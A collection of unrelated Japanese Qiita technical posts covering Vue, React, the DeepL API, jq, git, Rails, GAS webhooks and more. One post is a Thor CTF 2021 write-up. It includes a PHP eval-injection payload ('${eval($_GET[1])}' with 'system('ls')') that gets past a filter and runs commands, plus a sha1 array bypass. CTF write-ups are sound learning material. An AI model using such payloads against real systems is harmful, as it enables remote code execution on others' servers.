OmniAICreator/Qiita-1.07M huggingface dataset:
Vue.jsで画像表示 : Unexpected character '�'

# はじめに
どうも、コピペ作業を自動化したら、コードミスって最悪なことになった人です。

この記事では、Vue.jsで画像を使用しようとすると出てきたエラーに関して紹介していきます。

:::note warn
解決した理由がわかっていません。
わかる方、コメントで教えて下さい。
:::

# 解決したかったこと
Vue.js上で画像を表示

画像は、僕の愛用一眼レフくんで撮った写真。

# 発生していた問題・エラー
```
 ERROR  Failed to compile with 1 error

 error  in ./src/assets/img/1.PNG

Module parse failed: Unexpected character '�' (1:0)
You may need an appropriate loader to handle this file type, currently no loaders are configured to process this file. See https://webpack.js.org/concepts#loaders
(Source code omitted for this binary file)
```

使おうとしていた画像を`:src`に入れると、このエラーが出てきた。

# 該当するソースコード
```vuejs
<v-img
  :src="require('@/assets/img/1.PNG')"
  contain
  height="200"
></v-img>
```

すでにテンプレートとして`assets`フォルダの中に入っていた画像は使えた。
しかし、自分で撮影した写真は使えなかった。

# 自分で試したこと
https://webpack.js.org/concepts#loaders

を見ろと書いてあったので、ここを見た。
でも、websocketを使わないvueを使っていたから、どうしていいか一切わからなかった。

# 解決への道
文字コードを使った問題を解いたとき、「�」←これを見たことがあり、撮影した画像のデータに「日本語」が入ってるのが悪いのかと思った。

そこで、画像を【オンライン画像コンバーター】で変換してみた。
変換してみた理由は、画像だけを変換し、内部データは引き継がないと考えたからだ。

元の画像の拡張子が`png`だったから、`jpg`に変換してみた。

## 結果
画像がエラー無しで表示された！！！

`なんで？？？`

# 結論

```
Module parse failed: Unexpected character '�' (1:0)
```

画像を使おうとして、こんなエラーが出てきたら、一度、画像変換してみよう。


# 最後に

理由分かる人がいたら、コメントで教えて下さい。
今年の新人研修で社内サービスを作り上げた話（フロントエンド編）

はじめまして！今回、「今年の新人研修で社内サービスを作り上げた話（フロントエンド編）」をテーマにお話しします。
前編、後編に分かれてるのですが、今回はフロントエンド編です。アドカレが盛り上がればなという思いで参加させていただきます。
大学生の方でしたら、システムアイについて知る機会になれば嬉しいです。よろしくお願いいたします！

#はじめに

##新人研修で行ったこと
入社してからすぐ4~6月まで、3か月間新人研修を行いました。
その研修の中で、「Bookclub」という社内サービスを作りました。4月は講義をしていたので、5月中頃からサービスを作り始めました。

## 作ったwebサービス「Bookclub」とは
https://bookclub.systemi.co.jp


* 書籍購入および書籍レビューを通して、社員の交流や知識の共有を図るコミュニケーションの場および社内・社外サービス
* システムアイの社員のみログインして書評投稿ができる
* 書評はインターネット上に匿名で公開される
* 社員には実名で公開される

## Bookclubで解決したい問題点
* 社員が全然本を買ってくれない
* 買った本の知識を共有してくれない
* 社員同士の交流がない



### 必須条件
* PC、スマホ、タブレットから使える Web アプリであること
* SPA で使いやすいこと（PWA であればなお良い）
* 認証を備えていること
* 24 時間 365 日稼働すること
* 障害発生時に原因が特定可能なログ出力を備えること
* AWS 上に Node.js を用いて構築すること

このようなお題をいただき、２か月間で作り上げることを目標としました。

## 使用した開発ツール・言語
まずは、使用した開発ツールについてです。
お題の必須要件として「Node.jsを用いること」があったため、Visual Studio Codeを使用しました。使用した言語は、フロントエンドは主にJavaScriptを使用しました。

### JavaScript フレームワーク決め
現在、数多くあるJavaScriptのフレームワーク・ライブラリの中で、私たちはReactを選択しました。選んだ理由としては、Progateに教材があったので参考にしやすいと思ったからです。

### CSSフレームワーク決め

https://getbootstrap.com/

https://get.foundation/

最初は、おしゃれなWebサイトにしたいなとデザイン性の高い「Foundation」で作成していたのですが、CSSをある程度理解しておかないと難しかったです。最終的に使いやすい「Bootstrap」で作成しました。


### UIフレームワーク決め

https://mui.com/

続いて、見た目に直結するUIフレームワークを決めました。
Material UIとは、React 向けの UI コンポーネントライブラリです。公式ページによると、「世界で最も有名なReactのUIフレームワーク」と書いてあります。
公式サイトにあるテンプレートを活用して、ボタンなど見た目の機能を追加しました。

## 画面設計方法

ワイヤーフレームを使って、画面設計も行いました。
私たちが使用したツールは「Draw.io」です。Draw.ioはこんな特徴があります。

* 完全無料
* データがテキスト（XML、SVG）で保存可能
* デスクトップアプリ、VSCode 拡張がある、Web でも動く

実際のレイアウト設計はこんな感じです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2238997/fdcf5d19-cb94-4107-6511-f0f8b3129f69.png)

## 工夫したこと

### EditorConfigの導入
EditorConfigとは、インデントや改行コードなど、コーディングスタイルを統一するためのツールです。私たちフロントエンドチームは今回4人だったので、制作をスムーズに進めていくためにEditorConfigを使用しました。
EditorConfigにより、プロジェクト内に異なるフォーマットが混在することを防ぐことができます。最低限のルールに関して".editorconfig"で一括管理して読みやすいコードを書けたり、余計な修正をしなくてもいいのが便利でした。

### OGPに対応している
OGPとは「Open Graph Protocol」の略です。TwitterやFacebookなどSNSでシェアした際や、LINEなどのメッセージ機能でページのURLを送信した時に、そのページのタイトル、URL、概要、画像を表示させる仕組みのことです。OGPに対応していることで、URLを貼り付けた際に、利用者にページ内容が伝わりやすくなります。Bookclubを社内で活発に利用してもらうためにも、OGPを設定しました。

### レスポンシブデザイン
Bookclubは、スマホでもパソコンでも使用できるサービスにしたかったため、レスポンシブデザインに注力しました。
作成中の画面をスマホでどのように表示されるかチェックするために、ブラウザの開発者モードを使用したり、スマホをネットワークに繋いで確認しました。

### テストの自動化
「出来ればテストの自動化まで出来たらいいよね」という話をしていました。その時に調べたのがこちらです。

* Selenium、Pupetter
* Selenium はコードを書く必要がある（が、IDE を使えばコードが自動生成される）
* Pupetter は Selenium よりより高度な操作ができるが Chrome 限定

結局テストの自動化は実現できなかったため、来年の新卒の方々の課題に引き継がれました。

# まとめ

自分たちで一からサービスを作るのは初めてで、大変な点も多かったけれど、言語を学ぶだけでは得られないことを学ぶことが出来ました。

今回はフロントエンドについて書きましたが、明日はバックエンド（後編）が公開されるので是非見てください！
DEEPL APIを使ってアプリやサービスを多言語対応しよう！

#　はじめに

皆様は、自分のオリジナルサービス開発やアプリケーションの開発を行っていますでしょうか？

もちろん、自分のではなく会社でそういった業務に携わっていても構いません。

こういった開発を行っていて、英語や中国語といった言語。または他の言語に対応すればターゲットも広げることができて売り上げも上げれるのにと考えたことはないでしょうか？

これを正しく実施しようとすると、各言語の翻訳者を雇用したりして翻訳された文字情報を取り込む必要があります。

個人開発や予算の多くないプロジェクトでは、このようなコストを出すことができません。
それでも多言語対応するのであれば、方法は一つでしょう。

## 翻訳サービスを使う。


有名なところなら、グーグル翻訳でしょう。

グーグル翻訳にも外部向けにAPIが提供されておりそれを用いることで、翻訳結果を自動的に取集することも可能です。

しかし、使ったことがある方なら分かると思いますが、翻訳結果は・・・意味は理解できますがとても
自然な言語とは言えない結果になってしまうことが殆どです。

微妙なニュアンスが別の意味で置き換えられていたりなど・・・気になる点は多数あります。
（それでも昔よりは　圧倒的にマシなのですが）


さて、今回は最近翻訳精度が高いと噂の「DEEPL　API」を使った翻訳とそれを使った多言語対応を提案します。

https://www.deepl.com/pro-api?cta=header-pro-api

### DEEPLとは？
DeepL翻訳は、2017年8月28日にサービスを開始した無償のニューラル機械翻訳サービスで、ドイツのケルンに本拠地を置く DeepL GmbH が開発した。Google 翻訳よりも精度が高く、微妙なニュアンスのある翻訳ができると肯定的な報道を受けている。
＊ウィキペディア抜粋


### プランについて
DEEPLには、様々なプランがあって、テキストファイルをアップロードし翻訳するものもありますが。
今回は、APIを用いることができる「開発者向け」を選択します。

・無料　１か月に‪500,000‬文字
・PRO~月６３０円＋利用された範囲で課金

### 大きな違い：
PROでは、翻訳に用いられた文字列は、保存されず破棄されるとあります。
何らかの商業活動で用いるのなら、価格も安いですしPRO版でいいでしょう。


実際のところアプリ・またはサービスから動的に翻訳させるなどでないなら運用でカバーできますし
API経由である必要はないのですが、そこは一応エンジニア向け記事だからとなります。



### 手順
・アカウント登録しないとAPIを叩けないので登録行います（要クレジットカード
・翻訳する日本語文字列を用意する
・CURLコマンド経由で　APIを実行し翻訳結果を取得する

これを、シェルスクリプトなどを書いて自動でアプリサービスで使う全ての文字を翻訳してもいいかと思います。

### 実行方法

とても簡単です。
ユーザー登録するとAPIを叩くためのKEYが入手できますので　それを使ってCURLコマンド経由でAPIを叩くだけとなります。


## 動作確認


### 日本語から英語
```
curl https://api-free.deepl.com/v2/translate -d auth_key={**ここは貴方のキー**} -d "text=我思う、ゆえに我あり" -d "target_lang=en"

{"translations":[{"detected_source_language":"JA","text":"I think, therefore I am"}]}%
```

### 日本語から中国語
```
curl https://api-free.deepl.com/v2/translate -d auth_key={**ここは貴方のキー**} -d "text=我思う、ゆえに我あり" -d "target_lang=zh"

{"translations":[{"detected_source_language":"JA","text":"我想，所以我是”}]}
```

### 日本語からロシア語
```
curl https://api-free.deepl.com/v2/translate -d auth_key={**ここは貴方のキー**} -d "text=我思う、ゆえに我あり" -d "target_lang=ru”

"translations":[{"detected_source_language":"JA","text":"Я думаю, поэтому я есть"}]}
```

レスポンスは、JSON文字列で返却されてきます。
Textプロパティに翻訳結果が格納されていますので、それを抽出すれば良さそうですね！

JSON文字列の展開は、jqコマンドが便利なので　下記サンプルでは jqコマンドをインストール
し利用しています。

```
curl https://api-free.deepl.com/v2/translate -d auth_key={**ここは貴方のキー**} -d "text=我思う、ゆえに我あり" -d "target_lang=en" | jq -r ‘.translations[0].text’

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   184  100    85  100    99     58     67  0:00:01  0:00:01 --:--:--   126
I think, therefore I am
```

挙動は確認できたので、あとはプロジェクトで使う言語文字列リストのフォーマットになるよう
変換していくだけです。


### まとめ
アプリ・サービスで使う言語ファイルをコード直書きではなく外部ファイルにおいて言語指定して
呼び出す仕組みにしておいて多言語対応がやりやすい形にはしておく必要がありますが。

あくまで、個人・低予算プロジェクトの際にDEEPL翻訳を用いて行えば
最低限のクオリティは担保したものをお客様に提供できつつ、機会損失を逃すことがなくなりそうですね！
データ画像の水増しコード（colab使用）

#はじめに
同じ画像を回転させたりして違う画像へ変更するコード
が必要となったため、作成しました。
（注意：Google colab用に作成したので変更箇所は個人で
お願いします。）

#コード
https://github.com/ryotaro137/data.git

#補足
Win32でpthreadが簡単に使えるようになってた

# 今までは

https://sourceware.org/pthreads-win32/
でDLLをダウンロードして使わなきゃいけないと思っていたが、msvcr100.dllを要求してくるので使わなかった。

# 今は

vcpkgで32bitなら

```
vcpkg install pthread:x86-windows
```

で使えちゃう。

staticでリンクしたい場合も

```
vcpkg install pthread:x86-windows-static
```

ってやるだけだった。
linuxからの移植作業がはかどるな。

いつから？
もっと早く知りたかったよ。
関係者の方々、本当にありがとうございます。
GitHubのアクセストークンを再生成したときのVScodeの再ログイン方法

トークンを再生成するころにはやり方を忘れているので覚え書き。

## 方法1
GitHubのトークン再生成後、VScodeのターミナルを開きGitHubのユーザー名とメールアドレスを再設定して認証し直す。

```terminal
git config --global user.name ***
```
```terminal
git config --global user.email ***
```
この二つを設定した後、GitHubにプッシュするとアカウント認証を求められるので、ブラウザに遷移し認証する。

## 方法2
GitHubのトークン再生成後、VScodeのターミナルを開きremote.origin.urlを再設定する。

```terminal
git remote.origin.url https://*ユーザー名*:*トークン*@github.com/****/****.git
```
こっちだとコマンド打ったらトークンが丸見えなので方法1の方がいいと思う。
Ubuntuで.ipynbを.pyに変換する方法

#はじめに
.ipynbを.pyに変換する方法のメモ。

#動作環境
- Windows 11
- Ubuntu 20.04.1
- pip 20.0.2
- python 3.8

#前提条件
- python3系
- pip (pip3)
- jupyter

#インストール

以下のインストールが必要。

```
sudo apt install jupyter-core
```

```
sudo apt install jupyter-nbconvert
```

```
pip3 install jupyter
```
#実行
以下を実行すると.ipynbと同じディレクトリに.pyが作成される。

```
jupyter-nbconvert --to script terget.ipynb
```
__terget.ipynb__が変換したい.ipynbファイル。

#まとめ
Jupyter NotebookでPythonを書くなら、pdftotextを使うのに必要。
~~タイプミスに気を付ける。~~
【Rails】本番環境でCSSで指定した背景画像が表示されない。。。の解消

## 環境
Rails 6.1.4

## やりたいこと
ローカルで正常に表示されていた背景画像が本番環境で表示されなかったことの解消

## 結論
SCSSファイル内の記述を次のように書き換えデプロイすることで正常に表示。

```sass:app/assets/stylesheets/〇〇.scss
//修正前
background-image: url('bg-image.jpg');

//修正後
background-image: image-url('bg-image.jpg');
```

## なぜ起こったのか？
アセットパイプラインのキャッシュの高速化と『digest』という仕組みが関係している。
上記によって、**デプロイ後のapp/assets以下のファイルは全てpublic/assetsに上記のdigest付きになって移動**され、参照できなくなったことにより発生したもの。

## 参考記事

https://railsguides.jp/asset_pipeline.html#production%E7%92%B0%E5%A2%83%E3%81%AE%E5%A0%B4%E5%90%88

https://yamaguchi-t.hatenablog.com/entry/2019/10/15/205922
laravelでソーシャルログインができるようになりたい(OAuth)

#laravelでのソーシャルログインができるようになるために参考になった記事を貼っていきます

##Line
https://qiita.com/gentuki/items/da31374a8733d5158d53


##Facebook
https://qiita.com/zackey2/items/875faa5d85de4593662b
【Node.jsメモ】require()の使い方

require()とは Node.jsでモジュール化された「便利なJavaScriptファイル」を呼び出すためのもの。

```javascript
const 変数= require('モジュール名');
```

サーバーサイドでの開発に優しい
こうやってモジュールを呼びだせば自分で難しいアルゴリズムを考えてプログラミングする手間が省けます
くそアプリを作るぞーっと思った件

# くそアプリを作るぞーっと思った件
## 動機
 [Qiita Advent Calendar 2021](https://qiita.com/advent-calendar/2021/kuso-app)に参加してみたくなったから。（軽いノリ）
 今まで作ってきたアプリのほとんどが「くそアプリ」に該当すると思ったから。
## 作る前の反省
 ネタ（お題）を考えてない。ってか、何を作るか思いつかない。（ヤバイ感じがする）
 要求分析ができてないことに気づいたw

 (今のところここまで)
## (記事の最後)
[note] js online editor

*playcode 
https://playcode.io/178820?tabs=console&script.js&output 

*jsfiddle 
https://jsfiddle.net/pek06c9v/ 

*codesandbox 
https://codesandbox.io/ 
 
*stackblitz 
https://stackblitz.com/ 

*jsbin 
https://jsbin.com/?html,output 
 
*ts – playground 
http://www.typescriptlang.org/play/index.html 

*p5js editor 
https://editor.p5js.org/
jqチートシート

テストデータ

```data.json
{
  "companyName" : "MyCompany,inc",
  "contact": {
    "phone" : "00-0000-0000",
    "email" : "foo@example.com",
    "address" : "xxx xxxx xxxx 3F"
  },
  "employees" : [
    {
      "id":1,
      "name": "Alice",
      "address": "aaa aaa aaa"
    },
    {
      "id":2,
      "name": "Bob",
      "address": "bbb bbb bbb"
    },
    {
      "id":3,
      "name": "Carol",
      "address": "ccc ccc ccc"
    }
  ]
}
```

# json全体を表示

```
cat data.json | jq 
```

# 任意のキーの要素を表示

```
cat data.json | jq .employees
```

# キー名を表示

```
cat data.json | jq 'keys'
```

# 配列の要素数を表示

```
cat data.json | jq '.employees | length'
```

# 配列の特定の値のみ表示

```
cat data.json | jq '.employees[].name'
```

# 範囲選択
## すべて

```
cat data.json | jq '.employees[]' 
```
## 先頭

```
cat data.json | jq '.employees[0]' 
```
## 末尾

```
cat data.json | jq '.employees[-1]' 
```
## 範囲

```
cat data.json | jq '.employees[1:3]' 
```

# 指定した要素で新しいオブジェクトを作成

```
cat data.json | jq '.employees[] | {id:.id,name:.name}' 
```

# 指定した要素で新しい配列を作成

```
cat data.json | jq '.employees[] | [.id,.name]' 
cat data.json | jq '.employees[] | [.id,.name] | @csv' 
```

# フィルタ

```
cat data.json | jq '.employees[] | select(.id>=2)' 
```

参考
https://programminghistorian.org/en/lessons/json-and-jq
https://gist.github.com/olih/f7437fb6962fb3ee9fe95bda8d2c8fa4
BastilleBSDでZFS

BastilleBSDの最大の売りのZFSとの連携を設定してみました。

/usr/local/etc/bastille/bastille.confのbastille_zfs_enableをYESにしてbastille_zfs_zpoolを設定します。

これでjailを作ると勝手にZFSに作られるようです。

```
% zfs list | grep bastille
storage/bastille                         655M  1.58T      112K  /usr/local/bastille
storage/bastille/backups                  96K  1.58T       96K  /usr/local/bastille/backups
storage/bastille/cache                   180M  1.58T       96K  /usr/local/bastille/cache
storage/bastille/cache/13.0-RELEASE      180M  1.58T      180M  /usr/local/bastille/cache/13.0-RELEASE
storage/bastille/jails                  5.61M  1.58T       96K  /usr/local/bastille/jails
storage/bastille/jails/vnetjail         5.52M  1.58T      108K  /usr/local/bastille/jails/vnetjail
storage/bastille/jails/vnetjail/root    5.41M  1.58T     5.41M  /usr/local/bastille/jails/vnetjail/root
storage/bastille/logs                    100K  1.58T      100K  /var/log/bastille
storage/bastille/releases                469M  1.58T       96K  /usr/local/bastille/releases
storage/bastille/releases/13.0-RELEASE   468M  1.58T      468M  /usr/local/bastille/releases/13.0-RELEASE
storage/bastille/templates                96K  1.58T       96K  /usr/local/bastille/templates
```

以前はOSの機能だけでZFSでjailを設定していたのですが、簡単に設定できて便利です。
これから始めるBIMI ～メールにロゴを表示するまでの長い道のり（継続中）～

2021.11.11-12 開催された JPAAWG 4th General Meeting で、弊社チーフエンジニア平野善隆(@hirachan)により「これから始めるBIMI ～メールにロゴを表示するまでの長い道のり（継続中）～」というタイトルで発表が行われました。その時の資料をこちらにも共有します。


## はじめに

BIMIはメールにロゴを表示するための仕組みです。今年7月にはGmailが正式リリースするなど大きな動きがありました。本セッションではBIMIを使ってロゴを表示するための仕組みややり方、そして、実際にやってみて苦労した点などをご紹介します。


## 目次

- BIMI以前のロゴ表示
- BIMIの仕様 (表示側視点)　(眠くなります)
- 自分のロゴを表示させるためのステップ (送信者視点)
- 実際にやってみて苦労した話



## これから始めるBIMI ～メールにロゴを表示するまでの長い道のり（継続中）～
<iframe src="//www.slideshare.net/slideshow/embed_code/key/7xdKJgjOcjWwFb" width="595" height="485" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" style="border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%;" allowfullscreen> </iframe> <div style="margin-bottom:5px"> <strong> <a href="//www.slideshare.net/GeneralMeetingJPAAWG/a14-250680859" title="A1-4 これから始めるBIMI ～メールにロゴを表示させるまでの長い道のり(継続中)～" target="_blank">A1-4 これから始めるBIMI ～メールにロゴを表示させるまでの長い道のり(継続中)～</a> </strong> from <strong><a href="https://www.slideshare.net/GeneralMeetingJPAAWG" target="_blank">JPAAWG (Japan Anti-Abuse Working Group)</a></strong> </div>


## 前の発表資料

前回までのJPAAWGで発表した資料も合わせてご参考ください。

- JPAAWG 2nd General Meeting: [送信ドメイン認証・暗号化 DeepDive ～ DMARCから MTA-STS, DANEまで全部PASSさせるまでの道のり](https://qiita.com/qualitia_cdev/items/9f01f4151ceafca1ef8d)
- JPAAWG 2nd General Meeting: [メールセキュリティトレイルマップ～DMARCやその先にある世界～](https://qiita.com/qualitia_cdev/items/a9d4fcc3ccf55154bf43)
- JPAAWG 1st General Meeting: [送信サイドからみたDMARC] (https://qiita.com/qualitia_cdev/items/9a45797305002c3f8458)
Thor CTF 2021

# Thor 2021 CTF

Webを２問とOSINTを１問解きました。
Web問のwriteupを記載します。

## Web

### Tricks 1
問題ページ
![](https://i.imgur.com/Whpuupg.png)

#### 解法

phpにおけるsha1関数の仕様を確認します。
https://www.php.net/manual/ja/function.sha1.php
戻り値はsha1ハッシュを文字列で返す。と記載があります。
そのまんまですね。
次に、文字列以外、例えば配列をsha1関数に渡すとどうなるかを試してみます。

```
<?php
    $ex=[1,2,3];
    echo gettype($ex);
    echo sha1($ex);
?>
```

上記コードの実行結果:

```
array
```
sha1関数の戻り値がないですね。
データ型を確認します。

```
<?php
    $ex=[1,2,3];
    echo gettype($ex);
    echo gettype(sha1($ex));
?>
```

```
arrayNULL
```

NULLが返ってきました。
ここでは検証しませんが、md5も同様でした。

配列を送ればFlagを獲得できそうです。

![](https://i.imgur.com/b2oNuCt.png)
Flagゲット！


### Phpbaby

問題
ルートディレクトリにあるFlagを獲得せよ
※問題文が読めなくなってしまったので本当の問題文は違いますが、ニュアンスは同じです。

問題ページ
![](https://i.imgur.com/N8rlEDD.png)

### 解法

HTMLソースを確認します。

```
<!-- Access To Source Code Is Not Allowed! -->

<!DOCTYPE html>
<html>
<head>
	<title>lettercrap.js demo</title>
	<script src="/cdn-cgi/apps/head/xnSNotsdYPTd4Qn38KNoSYKvO4k.js"></script><script src='lettercrap.js'></script>
	<link rel='stylesheet' href='lettercrap.css'/>
	<style>
	body {
		text-align: center;
		font-family: sans-serif;
	}
	p {
		max-width: 60%;
		margin: auto;
	}
	[data-letter-crap] {
		margin: auto;
		margin-top: 3em;
		margin-bottom: 5em;
	}
	</style>
</head>
<body>

	<div data-letter-crap='SBCTF.png' data-lettercrap-words='CTF PHP eval robots' style='width: 70%' data-lettercrap-aspect-ratio='0.3'></div>
</body>
</html>
```

eval,robotsなどの単語を見つけることが出来ます。
これがヒントでした。
robots.txtを確認してみます。

```
user-agent: *
disallow: /Source_Code_Backup
```

/Source_Code_Backupにアクセスすると、ソースコードの一部を確認できます。

```
<!--
// Source Code Backup:
$SBCTF=@(string)$_GET['SBCTF'];
filter($boycott, $SBCTF);
eval('$SBCTF="'.addslashes($SBCTF).'";');
-->
```

evalを利用してsystemコマンドを呼び出せればFlagを獲得できそうです。

[変数展開](https://www.php.net/manual/ja/language.types.string.php#language.types.string.parsing)を利用すれば任意の関数を実行が出来ると考え、以下のコードを入力してみます。

```
SBCTF=${phpinfo()}
```

![](https://i.imgur.com/Hpt9MS4.png)

上手く表示することが出来ました。

続けてsystem関数の実行を試みます。
![](https://i.imgur.com/wzNc0vh.png)

怒られました。どうやらfilterにはじかれたみたいです。
このfilterでは$SBCTFの値しか確認していないようなので、以下のコードで、system関数の実行を試みます。

evalで括っているのは、$_GETの変数展開がうまくいかなかったからです。evalで括ることで変数として認識されました。

```
SBCTF=${eval($_GET[1])}&1=system('ls'); 
```

![](https://i.imgur.com/0m38srG.png)

上手くいきました。
ルートディレクトリを見に行くとFlagがありました。
![](https://i.imgur.com/PJJrdIu.png)


参考:
https://0xalwayslucky.gitbook.io/cybersecstack/web-application-security/php



## 感想

解いたWeb問はphpの知識を問うような問題になっており、
解く過程でphpが扱う関数への理解を深めることが出来ました。
また、調査するにあたり、[PaizaCloud](https://paiza.cloud/)が非常に便利でした。
簡単に環境を用意できるのはありがたいですね。。。
GASを使ってtrello webhookを受ける時のハマりどころ

# 結論を最初に
- trelloのwebhookとして、GASでサーバーを公開するときには、以下のステップで
    - 最初（Webhook登録する時）は、認証付きの権限
    - doPost、doGetにアクセスさせたい時は、全体公開の権限で。
        - **このときに、「新しいデプロイ」ではなく、「デプロイの管理」から権限だけ変更すること。**

# きっかけ
- trelloのボードで,doneになったときにいろんな処理をさせてみたくなった
    - Slackに通知とか
    - irucaくん打刻とか
- 詳細を書き出すと長くなってしまったので、この記事はハマったところのみ記載することとする。
     
# webhookに登録するURLを公開（限定公開）
- 「新しいデプロイ」から、ウェブアプリとして公開。ログインが必要な設定を選択する
    - 全体公開にすると、trello登録時の確認で403エラーが返って登録ができないため
![スクリーンショット 2021-11-29 9.18.50.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/74969/3d8aa7bf-408c-c034-e969-3d26b1bd7406.png)

# webhookに登録する
- 全体公開となってる場合は以下のエラーが出る。限定公開とすること。
    - 「"message":"URL (https://script.google.com/macros/s/xxxxxx/exec) did not return 200 status code, got 403","error":"ERROR"」
![スクリーンショット 2021-11-29 9.17.26.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/74969/e5cb4a64-db0b-4816-a23e-c2ed1ea1aa7c.png)

- うまく登録できると以下のようなレスポンスが帰ってくる
![スクリーンショット 2021-11-29 9.32.02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/74969/84a813a9-80f4-02fe-0c65-fdfab34a950d.png)

- Tips:リクエスト時に、「'muteHttpExceptions' : true」を渡しておくとレスポンスのログを省略しないので便利です。

```
function createWebhook(){
  var requestUrl = 'https://api.trello.com/1/tokens/' + trelloToken + '/webhooks/?key=' + trelloKey;
  var options = {
    'method' : 'post',
    'headers': {'ContentType': 'application/json'},
    'payload' : {
      'description': 'Webhook of Trello',
      'callbackURL': callbackUrl,
      'idModel': boardId
    },
    'muteHttpExceptions' : true
  }
  Logger.log(UrlFetchApp.fetch(requestUrl, options));
}
```

# trello webhookの用のURLの権限を変更する（全体公開）
- このときに、「新しいデプロイ」ではなく、「デプロイの管理」から権限だけ変更すること。
![スクリーンショット 2021-11-29 8.59.32.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/74969/70b5ffa2-7a34-5325-c937-b735c475b404.png)


# その他の自分用反省・ノウハウ
- リリース時にWebhookのdelete/createを投げられる仕組みを作っておくと良さそう。
    - 新しいデプロイ（限定公開）
    - delete もとのwebhookid/ create あたらしいURL　みたいな処理
    - デプロイ管理から権限を変更
大きいサイズのファイルを分割、合成

```bash
大きいサイズのファイルを分割
tar czvf - <圧縮したいファイル> | split -b 70m(70メガで分割) - <分割後のファイル名>
tar czvf - big-file | split -b 70m - big-file.tar.gz

上記で分割したファイルを元のサイズに合成する
cat * | tar xzvf -
```
PyQt5のチュートリアルを動かす ➁ ツールやモジュールのまとめ

# はじめに

前回はPyQt5のHelloWorldをしました。

https://qiita.com/hoshianaaa/items/21b17088e8e6dc3481c3

今回はPyQtのモジュールやツールなどのまとめです

内容は

- 1.モジュール集 
- 2.ツール集 
- 3.widget集 

の３点です。

# 1.モジュール集

PyQtでよく使われるモジュール集

1.`QtCore`:他のモジュールから使われる,non-GUIでコアなクラス集
2.`QtGui`:グラフィックユーザーインターフェース
3.`QtMultimedia`:lowレベルのマルチメディア様クラス集
4.`QtNetwork`:ネットワークプログラムのためのクラス集
5.`QtOpenGL`:OpenGLをつかうためのクラス集
6.`QtScript`:Qt Scriptsを評価するためのクラス集
7.`QtSql`:SQLを使ってデータベースとインテグレーションするためのクラス集
8.`QtSvg`:SVGファイルを表示するためのクラス集
9.`QtWebKit`:HTMLをレンダリングしたり編集したりするためのクラス集
10.`QtXml`:XMLを扱うためのクラス集
11.`QtWidges`:クラシックなデスクトップスタイルのUIを作成するためのクラス集
12.`QtDesigner`:Qt Designerの拡張のためのクラス集
13.`QtAssistant`:オンラインヘルプのためのモジュール

# 2.ツール集

PyQt5開発でよく使われるツール集

1.`assistant`: Qt Assistant ドキュメントツール
2.`pyqt5designer`: Qt Designer GUIのレイアウトツール
3.`linguist`: Qt Linguist 翻訳様ツール
4.`lrelease`: tsファイルをqmファイルにコンパイルする(ts,qmファイルってなんだろう...)
5.`pylupdate5`: よくわかりません
6.`qmake`: Qtソフトビルドツール
7.`pyqt5qmlscene`: QMLファイルビューアー(QMLファイルとはなんだ...)
8.`pyqmlviewer`:QMLファイルビューアー
9.`pyrcc5`:Qtリソースファイルコンパイラー(リソースファイルとは?)
10.`pyuic5`:uiファイルからコードを生成するQt User Interface Compiler
11.`pyqmltestrunner`: QMLコードを単体テスト実行する(QMLファイルって何だ...)
12.`qdbus`: D-Busサービスのためのコマンドラインツール
13.`QDoc`: ソフトウェアプロジェクトのドキュメントを生成する
14.`Qhelpgenerator`: Qt Helpファイルの生成とビューイング
15.`qmlimportscanner`: QMLインポート上での解析と報告

# 3.widget集
## PyQtのAPIの概要

PyQtAPI

・ 400を超えるクラスが含まれる
・`QObject`クラスがクラスの元
・`QPaintDevice`クラスはペイントできるオブジェクトクラスの元

QApplicationクラス

・GUIアプリケーションの設定と制御フローを管理
・メインループ内で発生するウィンドウやその他のソースからのイベントの管理も行う

QWidgetクラス
・`QObject`クラスと`QPaintDevice`クラスから派生した`QWidget`クラスはすべてのユーザーインターフェイスオブジェクトとの基本クラス
・`QDialog`クラスと`QFrame`クラスも`QWidget`クラスから派生している

## PyQtでよく使用されるWidget集


1.`QLabel`: テキストや画像を表示するために使われる
2.`QLineEdit`: ユーザーがテキストの一行目に入るの強制するテキスト?
3.`QTextEdit`: ユーザーが複数のラインに入るのを強制するテキスト?
4.`QPushButton`: ボタン
5.`QRadioButton`: ラジオボタン
6.`QCheckBox`: チェックボックス
7.`QSpinBox`: スピンボックス
8.`QScrollBar`: スクロールバー
9.`QSlider`: スライダー
10.`QComboBox`: ドロップボックスに選択肢を出す
11.`QMenuBar`: `QMenu`オブジェクトを縦に格納したもの
12.`QStatusBar`: `QMainWindow`の下にある.状態を表示
13.`QToolBar`: `QMainWindow`の上にある.アクションボタンを集のう
14.`QListView`: ListModeかIconModeで選択肢を表示
15.`QPixmap`: `QLabel`,`QPushBUtton`オブジェクトのオフスクリーンイメージを表示
16.`QDialog`: 親情報を持っているモーダルウィンドウ

# 最後に

PyQtでは,GUI開発を楽にするために多くのモジュールやツールを作成してくれているんですね。

今後こういった道具をうまく活用していって便利なGUIを作成できたらいいなと思います。

# 参考

https://www.tutorialspoint.com/pyqt5/pyqt5_major_classes.htm
Railsでbcryptエラー(cannot load such file — bcrypt)が出た時の対処法

【エラー内容】
パスワード暗号化のため、Gemfileにコメントアウトされていたbcryptを導入したところ、以下のエラーが発生しました。

```
cannot load such file -- bcrypt
```

「bundle install」も実行しており、Userモデル内に「has_secure_password」を記述してもエラーが解消しませんでした。

【対処法】
Railsサーバーを一度停止し、再起動(rails s)する事でbcryptの内容が反映されました。
困ったらサーバーの再起動も試してみるべきですね。
CIFAR10で遊んでみた

Alexnet
参考
https://qiita.com/URAN110/items/ea2bfc8f7ba2fc858de3
https://github.com/uran110/AlexNet-Cifar10/blob/master/alexnet_cifar10.py

![Alexnet.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2323875/4d3e8cc0-6918-a050-d874-364432ca76d7.png)


resnet
参考
https://blog.shikoan.com/resnet-multiple-framework/
https://github.com/koshian2/ResNet-MultipleFramework/blob/master/resnet_keras.py

